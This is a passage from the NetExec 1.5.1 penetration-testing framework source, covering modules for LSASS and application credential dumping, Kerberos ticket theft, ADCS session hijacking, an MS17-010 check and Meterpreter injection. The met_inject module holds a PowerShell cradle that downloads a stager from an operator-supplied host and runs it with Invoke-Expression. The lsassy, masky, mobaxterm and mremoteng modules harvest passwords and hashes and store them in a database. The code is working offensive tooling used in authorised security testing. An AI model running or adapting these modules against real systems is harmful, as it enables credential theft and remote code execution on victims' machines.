Directory to save dumped tickets SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache') """ self.method = "comsvcs" if "METHOD" in module_options: self.method = module_options["METHOD"] if "DUMP_TICKETS" in module_options: self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"] if "SAVE_DIR" in module_options: self.save_dir = module_options["SAVE_DIR"] if "SAVE_TYPE" in module_options: self.ticket_type = module_options["SAVE_TYPE"] if self.ticket_type not in ["kirbi", "ccache"]: context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.") sys.exit(1) def on_admin_login(self, context, connection): host = connection.host domain_name = connection.domain username = connection.username password = getattr(connection, "password", "") lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") session = Session() session.get_session( address=host, target_ip=host, port=445, lmhash=lmhash, nthash=nthash, username=username, password=password, domain=domain_name, ) if session.smb_session is None: context.log.fail("Couldn't connect to remote host") return False dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) if dumper is None: context.log.fail(f"Unable to load dump method '{self.method}'") return False file = dumper.dump() if file is None: context.log.fail("Unable to dump lsass") return False parsed = Parser(host, file).parse() if parsed is None: context.log.fail("Unable to parse lsass dump") return False credentials, tickets, masterkeys = parsed file.close() context.log.debug("Closed dumper file") file_path = file.get_file_path() context.log.debug(f"File path: {file_path}") try: deleted_file = ImpacketFile.delete(session, file_path) if deleted_file: context.log.debug("Deleted dumper file") else: context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}") except Exception as e: context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}") if credentials is None: credentials = [] if self.dump_tickets and tickets: self.write_tickets(context, tickets, host) for cred in credentials: c = cred.get_object() context.log.debug(f"Cred: {c}") credentials = [cred.get_object() for cred in credentials if cred.ticket is None and cred.masterkey is None and not cred.get_username().endswith("$")] credentials_unique = [] credentials_output = [] context.log.debug(f"Credentials: {credentials}") for cred in credentials: context.log.debug(f"Credential: {cred}") if [ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"], ] not in credentials_unique: credentials_unique.append( [ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"], ] ) credentials_output.append(cred) context.log.debug("Calling process_credentials") self.process_credentials(context, connection, credentials_output) def write_tickets(self, context, tickets, host): if not tickets: context.log.display("No Kerberos tickets found") return if not os.path.exists(self.save_dir): try: os.makedirs(self.save_dir) context.log.debug(f"Created directory: {self.save_dir} for saving tickets") except Exception as e: context.log.fail(f"Error creating directory {self.save_dir}: {e}") return ticket_count = 0 for ticket in tickets: for filename in ticket.kirbi_data: try: base_filename = filename.split(".kirbi")[0] timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S") kirbi_data = ticket.kirbi_data[filename] if self.ticket_type == "ccache": ccache = CCache() ccache.fromKRBCRED(kirbi_data.dump()) ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache" ticket_content = ccache.getData() else: ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi" ticket_content = kirbi_data.dump() ticket_path = os.path.join(self.save_dir, ticket_filename) with open(ticket_path, "wb") as f: f.write(ticket_content) ticket_count += 1 context.log.debug(f"Saved ticket: {ticket_filename}") except Exception as e: context.log.fail(f"Error writing ticket {filename}: {e}") if ticket_count > 0: context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}") else: context.log.display("No tickets were saved") def process_credentials(self, context, connection, credentials): if len(credentials) == 0: context.log.display("No credentials found") credz_bh = [] domain = None for cred in credentials: if cred["domain"] is None: cred["domain"] = "" domain = cred["domain"] if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper(): domain = connection.domain # slim shady self.save_credentials( context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"], ) self.print_credentials( context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"], ) credz_bh.append({"username": cred["username"].upper(), "domain": domain.upper()}) add_user_bh(credz_bh, domain, context.log, connection.config) @staticmethod def print_credentials(context, domain, username, password, lmhash, nthash): if password is None: password = ":".join(h for h in [lmhash, nthash] if h is not None) output = f"{domain}\\{username} {password}" context.log.highlight(output) @staticmethod def save_credentials(context, connection, domain, username, password, lmhash, nthash): host_id = context.db.get_hosts(connection.host)[0][0] if password is not None: credential_type = "plaintext" else: credential_type = "hash" password = ":".join(h for h in [lmhash, nthash] if h is not None) context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) NetExec-1.5.1/nxc/modules/maq.py000066400000000000000000000022221514706431700164470ustar00rootroot00000000000000from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes class NXCModule: """ Module by Shutdown and Podalirius Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned. Initial module: https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota Authors: Shutdown: @_nwodtuhs Podalirius: @podalirius_ """ def options(self, context, module_options): """No options available""" name = "maq" description = "Retrieves the MachineAccountQuota domain-level attribute" supported_protocols = ["ldap"] category = CATEGORY.ENUMERATION def on_login(self, context, connection): context.log.display("Getting the MachineAccountQuota") ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"]) entries = parse_result_attributes(ldap_response) if not entries: context.log.fail("No LDAP entries returned.") return context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}") NetExec-1.5.1/nxc/modules/masky.py000066400000000000000000000104061514706431700170200ustar00rootroot00000000000000from masky import Masky from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.misc import CATEGORY class NXCModule: name = "masky" description = "Remotely dump domain user credentials via an ADCS and a KDC" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): r""" CA Certificate Authority Name (CA_SERVER\CA_NAME) TEMPLATE Template name allowing users to authenticate with (default: User) DC_IP IP Address of the domain controller AGENT_EXE Path to a custom executable masky agent to be deployed """ self.template = "User" self.ca = None self.dc_ip = None self.agent_exe = None self.file_args = False if "CA" in module_options: self.ca = module_options["CA"] if "TEMPLATE" in module_options: self.template = module_options["TEMPLATE"] if "DC_IP" in module_options: self.dc_ip = module_options["DC_IP"] if "AGENT_EXE" in module_options: self.agent_exe = module_options["AGENT_EXE"] self.file_args = True def on_admin_login(self, context, connection): if not self.ca: context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)") return False host = connection.host domain = connection.domain username = connection.username kerberos = connection.kerberos password = getattr(connection, "password", "") lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") m = Masky( ca=self.ca, template=self.template, user=username, dc_ip=self.dc_ip, domain=domain, password=password, hashes=f"{lmhash}:{nthash}", kerberos=kerberos, exe_path=self.agent_exe, file_args=self.file_args, ) context.log.display("Running Masky on the targeted host") rslts = m.run(host) tracker = m.get_last_tracker() self.process_results(connection, context, rslts, tracker) return self.process_errors(context, tracker) def process_results(self, connection, context, rslts, tracker): if not tracker.nb_hijacked_users: context.log.display("No users' sessions were hijacked") else: context.log.display(f"{tracker.nb_hijacked_users} session(s) successfully hijacked") context.log.display("Attempting to retrieve NT hash(es) via PKINIT") if not rslts: return False pwned_users = 0 for user in rslts.users: if user.nt_hash: context.log.highlight(f"{user.domain}\\{user.name} {user.nt_hash}") self.process_credentials(connection, context, user) pwned_users += 1 if pwned_users: context.log.success(f"{pwned_users} NT hash(es) successfully collected") else: context.log.fail("Unable to collect NT hash(es) from the hijacked session(s)") return True def process_credentials(self, connection, context, user): host = context.db.get_hosts(connection.host)[0][0] context.db.add_credential( "hash", user.domain, user.name, user.nt_hash, pillaged_from=host, ) add_user_bh(user.name, user.domain, context.log, connection.config) def process_errors(self, context, tracker): ret = True if tracker.last_error_msg: context.log.fail(tracker.last_error_msg) ret = False if not tracker.files_cleaning_success: context.log.fail("Fail to clean files related to Masky") context.log.fail(f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', '{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'") ret = False if not tracker.svc_cleaning_success: context.log.fail(f"Fail to remove the service named '{tracker.svc_name}', please remove it manually") ret = False return ret NetExec-1.5.1/nxc/modules/met_inject.py000066400000000000000000000071561514706431700200250ustar00rootroot00000000000000from sys import exit from nxc.helpers.misc import CATEGORY class NXCModule: """ Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script Module by @byt3bl33d3r """ name = "met_inject" description = "Downloads the Meterpreter stager and injects it into memory" supported_protocols = ["smb", "mssql"] category = CATEGORY.PRIVILEGE_ESCALATION def __init__(self, context=None, module_options=None): self.rand = None self.srvport = None self.srvhost = None self.met_ssl = None self.context = context self.module_options = module_options def options(self, context, module_options): """ SRVHOST IP hosting of the stager server SRVPORT Stager port RAND Random string given by metasploit (if using web_delivery) SSL Stager server use https or http (default: https) This module is compatable with --obfs, --force-ps32 (PowerShell execution options) multi/handler method that don't require RAND: Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options) Set payload to one of the following (non-exhaustive list): windows/x64/powershell_reverse_tcp windows/x64/powershell_reverse_tcp_ssl Web Delivery Method (exploit/multi/script/web_delivery): Set SRVHOST and SRVPORT Set target 2 (PSH) Set payload to what you want (windows/meterpreter/reverse_https, etc) check compatabile payloads with `show payloads` Optional: SET URIPATH {custom} After running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that, or whatever you set URIPATH to """ self.met_ssl = "https" if "SRVHOST" not in module_options or "SRVPORT" not in module_options: context.log.fail("SRVHOST and SRVPORT options are required!") exit(1) if "SSL" in module_options: self.met_ssl = module_options["SSL"] if "RAND" in module_options: self.rand = module_options["RAND"] self.srvhost = module_options["SRVHOST"] self.srvport = module_options["SRVPORT"] def on_admin_login(self, context, connection): # https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/code_execution/Invoke-MetasploitPayload.ps1 proto = "http" if self.met_ssl == "http" else "https" metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}" context.log.debug(f"{metasploit_endpoint=}") # use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command()) command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');" context.log.debug(f"Running command via ps_execute: {command}") output = connection.ps_execute(command) context.log.debug(f"Received output from ps_execute: {output}") if output and "Unable to connect to the remote server" in output: context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?") else: context.log.success("Executed payload") NetExec-1.5.1/nxc/modules/mobaxterm.py000066400000000000000000000051151514706431700176730ustar00rootroot00000000000000from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword from dploot.lib.target import Target from nxc.helpers.logger import highlight from nxc.helpers.misc import CATEGORY from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: name = "mobaxterm" description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export" supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): """No options available""" def on_admin_login(self, context, connection): username = connection.username password = getattr(connection, "password", "") nthash = getattr(connection, "nthash", "") self.pvkbytes = get_domain_backup_key(connection) target = Target.create( domain=connection.domain, username=username, password=password, target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, lmhash=getattr(connection, "lmhash", ""), nthash=nthash, do_kerberos=connection.kerberos, aesKey=connection.aesKey, no_pass=True, use_kcache=getattr(connection, "use_kcache", False), ) conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) if conn is None: context.log.debug("Could not upgrade connection") return self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") return context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets") def mobaxterm_callback(credential): if isinstance(credential, MobaXtermCredential): log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) elif isinstance(credential, MobaXtermPassword): log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) context.log.highlight(f"[{credential.winuser}] {log_text}") try: triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") NetExec-1.5.1/nxc/modules/mremoteng.py000066400000000000000000000211371514706431700176740ustar00rootroot00000000000000import ntpath from dploot.lib.target import Target from Cryptodome.Cipher import AES from lxml import objectify from base64 import b64decode import hashlib from dataclasses import dataclass from nxc.helpers.misc import CATEGORY from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection @dataclass class MRemoteNgEncryptionAttributes: kdf_iterations: int block_cipher_mode: str encryption_engine: str full_file_encryption: bool class NXCModule: """ Dump mRemoteNG Passwords module by @_zblurx """ name = "mremoteng" description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) " supported_protocols = ["smb"] category = CATEGORY.CREDENTIAL_DUMPING def __init__(self, context=None, module_options=None): self.false_positive = ( ".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ) self.mRemoteNg_path = [ "Users\\{username}\\AppData\\Local\\mRemoteNG", "Users\\{username}\\AppData\\Roaming\\mRemoteNG", ] self.custom_user_path = [ "Users\\{username}\\Desktop", "Users\\{username}\\Documents", ] self.recurse_max = 10 def options(self, context, module_options): """ SHARE Share parsed. Default to C$ PASSWORD Custom password to decrypt confCons.xml files CUSTOM_PATH Custom path to confCons.xml file """ self.context = context self.password = "mR3m" if "PASSWORD" in module_options: self.password = module_options["PASSWORD"] self.custom_path = None if "CUSTOM_PATH" in module_options: self.custom_path = module_options["CUSTOM_PATH"] def on_admin_login(self, context, connection): # 1. Evole conn into dploot conn self.context = context self.connection = connection self.share = connection.args.share host = f"{connection.hostname}.{connection.domain}" domain = connection.domain username = connection.username kerberos = connection.kerberos aesKey = connection.aesKey use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") target = Target.create( domain=domain, username=username, password=password, target=host, lmhash=lmhash, nthash=nthash, do_kerberos=kerberos, aesKey=aesKey, use_kcache=use_kcache, ) dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) if dploot_conn is None: context.log.debug("Could not upgrade connection") return # 2. Dump users list users = self.get_users(dploot_conn) # 3. Search for mRemoteNG files for user in users: for path in self.mRemoteNg_path: user_path = ntpath.join(path.format(username=user), "confCons.xml") content = dploot_conn.readFile(self.share, user_path) if content is None: continue self.context.log.info(f"Found confCons.xml file: {user_path}") self.handle_confCons_file(content) for path in self.custom_user_path: user_path = path.format(username=user) self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max) if self.custom_path is not None: content = dploot_conn.readFile(self.share, self.custom_path) if content is not None: self.context.log.info(f"Found confCons.xml file: {self.custom_path}") self.handle_confCons_file(content) def get_users(self, conn): users = [] users_dir_path = "Users\\*" directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) for d in directories: if d.get_longname() not in self.false_positive and d.is_directory() > 0: users.append(d.get_longname()) # noqa: PERF401, ignoring for readability return users def handle_confCons_file(self, file_content): main = objectify.fromstring(file_content) encryption_attributes = MRemoteNgEncryptionAttributes( kdf_iterations=int(main.attrib["KdfIterations"]), block_cipher_mode=main.attrib["BlockCipherMode"], encryption_engine=main.attrib["EncryptionEngine"], full_file_encryption=bool(main.attrib["FullFileEncryption"]), ) for node_attribute in self.parse_xml_nodes(main): password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes) if password == b"": continue name = node_attribute["Name"] hostname = node_attribute["Hostname"] domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"] username = node_attribute["Username"] protocol = node_attribute["Protocol"] port = node_attribute["Port"] host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}") def parse_xml_nodes(self, main): nodes = [] for node in list(main.getchildren()): node_attributes = node.attrib if node_attributes["Type"] == "Connection": nodes.append(node.attrib) elif node_attributes["Type"] == "Container": nodes.append(node.attrib) nodes = nodes + self.parse_xml_nodes(node) return nodes def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10): directory_list = conn.remote_list_dir(self.share, directory_path) if directory_list is not None: for item in directory_list: if item.get_longname() not in self.false_positive: new_path = ntpath.join(directory_path, item.get_longname()) if item.is_directory() > 0: if recurse_level < recurse_max: self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max) else: # It's a file, download it to the output share if the mask is ok if "confCons.xml" in item.get_longname(): self.context.log.info(f"Found confCons.xml file: {new_path}") content = conn.readFile(self.context.share, new_path) self.handle_confCons_file(content) def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes): encrypted_password = b64decode(encrypted_password) if encrypted_password == b"": return encrypted_password if encryption_attributes.encryption_engine == "AES": salt = encrypted_password[:16] associated_data = encrypted_password[:16] nonce = encrypted_password[16:32] ciphertext = encrypted_password[32:-16] tag = encrypted_password[-16:] key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32) if encryption_attributes.block_cipher_mode == "GCM": cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) elif encryption_attributes.block_cipher_mode == "CCM": cipher = AES.new(key, AES.MODE_CCM, nonce=nonce) elif encryption_attributes.block_cipher_mode == "EAX": cipher = AES.new(key, AES.MODE_EAX, nonce=nonce) else: self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented") cipher.update(associated_data) return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1") else: self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented") NetExec-1.5.1/nxc/modules/ms17-010.py000066400000000000000000000424641514706431700167720ustar00rootroot00000000000000# All credits to https://github.com/d4t4s3c/Win7Blue # @d4t4s3c # Module by @mpgn_x64 from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure import socket import struct from nxc.helpers.misc import CATEGORY from nxc.logger import nxc_logger class SmbHeader(Structure): """SMB Header decoder.""" _pack_ = 1 _fields_ = [ ("server_component", c_uint32), ("smb_command", c_uint8), ("error_class", c_uint8), ("reserved1", c_uint8), ("error_code", c_uint16), ("flags", c_uint8), ("flags2", c_uint16), ("process_id_high", c_uint16), ("signature", c_uint64), ("reserved2", c_uint16), ("tree_id", c_uint16), ("process_id", c_uint16), ("user_id", c_uint16), ("multiplex_id", c_uint16), ] def __init__(self, buffer): nxc_logger.debug(f"server_component : {self.server_component:04x}") nxc_logger.debug(f"smb_command : {self.smb_command:01x}") nxc_logger.debug(f"error_class : {self.error_class:01x}") nxc_logger.debug(f"error_code : {self.error_code:02x}") nxc_logger.debug(f"flags : {self.flags:01x}") nxc_logger.debug(f"flags2 : {self.flags2:02x}") nxc_logger.debug(f"process_id_high : {self.process_id_high:02x}") nxc_logger.debug(f"signature : {self.signature:08x}") nxc_logger.debug(f"reserved2 : {self.reserved2:02x}") nxc_logger.debug(f"tree_id : {self.tree_id:02x}") nxc_logger.debug(f"process_id : {self.process_id:02x}") nxc_logger.debug(f"user_id : {self.user_id:02x}") nxc_logger.debug(f"multiplex_id : {self.multiplex_id:02x}") def __new__(self, buffer=None): nxc_logger.debug(f"Creating SMB_HEADER object from buffer: {buffer}") return self.from_buffer_copy(buffer) class NXCModule: name = "ms17-010" description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT" supported_protocols = ["smb"] category = CATEGORY.ENUMERATION def options(self, context, module_options): """ """ self.logger = context.log def on_login(self, context, connection): try: if self.check(connection.host): context.log.highlight("VULNERABLE") context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/") except ConnectionResetError as e: context.log.debug(f"Error connecting to host when checking for MS17-010: {e!s}") except ValueError as e: if str(e) == "Buffer size too small (0 instead of at least 32 bytes)": context.log.debug("Buffer size too small, which means the response was not the expected size") def generate_smb_proto_payload(self, *protos): """ Flattens a nested list and merges all bytes objects into a single bytes object. Args: ---- *protos (list): The list to flatten and merge. Returns: ------- bytes: The merged bytes object. """ self.logger.debug("generate smb proto payload") self.logger.debug(f"Protos: {protos}") hex_data = b"" for proto in protos: if isinstance(proto, list): hex_data += self.generate_smb_proto_payload(*proto) elif isinstance(proto, bytes): hex_data += proto self.logger.debug(f"Packed proto data: {hex_data}") return hex_data def calculate_doublepulsar_xor_key(self, s): """ Calculate Doublepulsar Xor Key. Args: ---- s (int): The input value. Returns: ------- int: The calculated xor key. """ nxc_logger.debug(f"Calculating Doublepulsar XOR key for: {s}") x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) return x & 0xffffffff # truncate to 32 bits def negotiate_proto_request(self): """Generate a negotiate_proto_request packet.""" self.logger.debug("generate negotiate proto request") # Define the NetBIOS header netbios = [ b"\x00", # Message Type b"\x00\x00\x54", # Length ] # Define the SMB header smb_header = [ b"\xFF\x53\x4D\x42", # Server Component b"\x72", # SMB Command b"\x00\x00\x00\x00", # NT Status b"\x18", # Flags b"\x01\x28", # Flags2 b"\x00\x00", # Process ID High b"\x00\x00\x00\x00\x00\x00\x00\x00", # Signature b"\x00\x00", # Reserved b"\x00\x00", # Tree ID b"\x2F\x4B", # Process ID b"\x00\x00", # User ID b"\xC5\x5E", # Multiplex ID ] # Define the negotiate_proto_request negotiate_proto_request = [ b"\x00", # Word Count b"\x31\x00", # Byte Count b"\x02", # Requested Dialects Count b"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", # Requested Dialects: LANMAN1.0 b"\x02", # Requested Dialects Count b"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", # Requested Dialects: LM1.2X002 b"\x02", # Requested Dialects Count b"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", # Requested Dialects: NT LANMAN 1.0 b"\x02", # Requested Dialects Count b"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", # Requested Dialects: NT LM 0.12 ] # Return the generated SMB protocol payload return self.generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) def session_setup_andx_request(self): """Generate session setup andx request.""" self.logger.debug("generate session setup andx request" ) # Define the NetBIOS bytes netbios = [ b"\x00", # length b"\x00\x00\x63", # session service ] # Define the SMB header bytes smb_header = [ b"\xFF\x53\x4D\x42", # server component: .SMB b"\x73", # command: Session Setup AndX b"\x00\x00\x00\x00", # NT status b"\x18", # flags b"\x01\x20", # flags2 b"\x00\x00", # PID high b"\x00\x00\x00\x00\x00\x00\x00\x00", # signature b"\x00\x00", # reserved b"\x00\x00", # tree id b"\x2F\x4B", # pid b"\x00\x00", # uid b"\xC5\x5E", # multiplex id ] # Define the session setup andx request bytes session_setup_andx_request = [ b"\x0D", # word count b"\xFF", # andx command: no further commands b"\x00", # reserved b"\x00\x00", # andx offset b"\xDF\xFF", # max buffer b"\x02\x00", # max mpx count b"\x01\x00", # VC number b"\x00\x00\x00\x00", # session key b"\x00\x00", # ANSI password length b"\x00\x00", # Unicode password length b"\x00\x00\x00\x00", # reserved b"\x40\x00\x00\x00", # capabilities b"\x26\x00", # byte count b"\x00", # account b"\x2e\x00", # primary domain b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", # Native OS: Windows 2000 2195 b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", # Native OS: Windows 2000 5.0 ] return self.generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) def tree_connect_andx_request(self, ip, userid): """Generate tree connect andx request. Args: ---- ip (str): The IP address. userid (str): The user ID. Returns: ------- bytes: The generated tree connect andx request payload. """ self.logger.debug("generate tree connect andx request") # Initialize the netbios header netbios = [ b"\x00", # 'Message_Type' b"\x00\x00\x47" # 'Length' ] # Initialize the SMB header smb_header = [ b"\xFF\x53\x4D\x42", # server_compnent: .SMB b"\x75", # smb_command: Tree Connect AndX b"\x00\x00\x00\x00", # 'nt_status' b"\x18", # 'flags' b"\x01\x20", # 'flags2' b"\x00\x00", # 'process_id_high' b"\x00\x00\x00\x00\x00\x00\x00\x00", # 'signature' b"\x00\x00", # 'reserved' b"\x00\x00", # 'tree_id' b"\x2F\x4B", # 'process_id' userid, # 'user_id' b"\xC5\x5E", # 'multiplex_id' ] # Create the IPC string ipc = f"\\\\{ip}\\IPC$\x00" self.logger.debug(f"Connecting to {ip} with UID: {userid.hex()}") # Initialize the tree connect andx request tree_connect_andx_request = [ b"\x04", # Word Count b"\xFF", # AndXCommand: No further commands b"\x00", # Reserved b"\x00\x00", # AndXOffset b"\x00\x00", # Flags b"\x01\x00", # Password Length b"\x1A\x00", # Byte Count b"\x00", # Password ipc.encode(), # \\xxx.xxx.xxx.xxx\IPC$ b"\x3f\x3f\x3f\x3f\x3f\x00", # Service ] # Calculate the length of the payload length = len(b"".join(smb_header)) + len(b"".join(tree_connect_andx_request)) self.logger.debug(f"Length of payload: {length}") # Update the length in the netbios header netbios[1] = struct.pack(">L", length)[-3:] self.logger.debug(f"Netbios: {netbios}") self.logger.debug(f"SMB Header: {smb_header}") self.logger.debug(f"Tree Connect AndX Request: {tree_connect_andx_request}") # Generate the final SMB protocol payload return self.generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) def peeknamedpipe_request(self, treeid, processid, userid, multiplex_id): """ Generate tran2 request. Args: ---- treeid (str): The tree ID. processid (str): The process ID. userid (str): The user ID. multiplex_id (str): The multiplex ID. Returns: ------- str: The generated SMB protocol payload. """ self.logger.debug("generate peeknamedpipe request") # Set the necessary values for the netbios header netbios = [ b"\x00", # message type b"\x00\x00\x4a" # length ] # Set the values for the SMB header smb_header = [ b"\xFF\x53\x4D\x42", # Server Component: .SMB b"\x25", # SMB Command: Trans2 b"\x00\x00\x00\x00", # NT Status b"\x18", # flags b"\x01\x28", # flags2 b"\x00\x00", # pid high b"\x00\x00\x00\x00\x00\x00\x00\x00", # sig b"\x00\x00", # Reserved treeid, # Tree ID processid, # Process ID userid, # User ID multiplex_id, # Multiplex ID ] # Set the values for the transaction request tran_request = [ b"\x10", # Word Count b"\x00\x00", # Total Parameter Count b"\x00\x00", # Total Data Count b"\xff\xff", # Max Parameter Count b"\xff\xff", # Max Data Count b"\x00", # Max Setup Count b"\x00", # Reserved b"\x00\x00", # Flags b"\x00\x00\x00\x00", # Timeout b"\x00\x00", # Reserved b"\x00\x00", # Parameter Count b"\x4a\x00", # Parameter Offset b"\x00\x00", # Data Count b"\x4a\x00", # Data Offset b"\x02", # Setup Count b"\x00", # Reserved b"\x23\x00", # SMB Pipe Protocol: Function: PeekNamedPipe (0x0023) b"\x00\x00", # SMB Pipe Protocol: FID b"\x07\x00", b"\x5c\x50\x49\x50\x45\x5c\x00", # \PIPE\ ] return self.generate_smb_proto_payload(netbios, smb_header, tran_request) def trans2_request(self, treeid, processid, userid, multiplex_id): """Generate trans2 request. Args: ---- treeid: The treeid parameter. processid: The processid parameter. userid: The userid parameter. multiplex_id: The multiplex_id parameter. Returns: ------- The generated SMB protocol payload. """ self.logger.debug("generate trans2 request") # Define the netbios section of the SMB request netbios = [ b"\x00", b"\x00\x00\x4f" ] # Define the SMB header section of the SMB request smb_header = [ b"\xFF\x53\x4D\x42", # 'server_component': .SMB b"\x32", # 'smb_command': Trans2 b"\x00\x00\x00\x00", b"\x18", b"\x07\xc0", b"\x00\x00", b"\x00\x00\x00\x00\x00\x00\x00\x00", b"\x00\x00", treeid, processid, userid, multiplex_id, ] # Define the trans2 request section of the SMB request trans2_request = [ b"\x0f", b"\x0c\x00", b"\x00\x00", b"\x01\x00", b"\x00\x00", b"\x00", b"\x00", b"\x00\x00", b"\xa6\xd9\xa4\x00", # Timeout: 3 hours, 3.622 seconds b"\x00\x00", b"\x0c\x00", b"\x42\x00", b"\x00\x00", b"\x4e\x00", b"\x01", b"\x00", b"\x0e\x00", # subcommand: SESSION_SETUP b"\x00\x00", b"\x0c\x00" + b"\x00" * 12, ] return self.generate_smb_proto_payload(netbios, smb_header, trans2_request) def check(self, ip, port=445): """Check if MS17_010 SMB Vulnerability exists. Args: ---- ip (str): The IP address of the target machine. port (int, optional): The port number to connect to. Defaults to 445. Returns: ------- bool: True if the vulnerability exists, False otherwise. """ buffersize = 1024 timeout = 5.0 # Send smb request based on socket. client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.settimeout(timeout) client.connect((ip, port)) # SMB - Negotiate Protocol Request raw_proto = self.negotiate_proto_request() client.send(raw_proto) tcp_response = client.recv(buffersize) # SMB - Session Setup AndX Request raw_proto = self.session_setup_andx_request() client.send(raw_proto) tcp_response = client.recv(buffersize) tcp_response[:4] smb_header = tcp_response[4:36] # SMB Header: 32 bytes smb = SmbHeader(smb_header) user_id = struct.pack(" User: """ Browse the path of user impersonation. Parameters ---------- context (Context): The context of the function. initial_user (User): The initial user. user (User): The user to browse the path for. 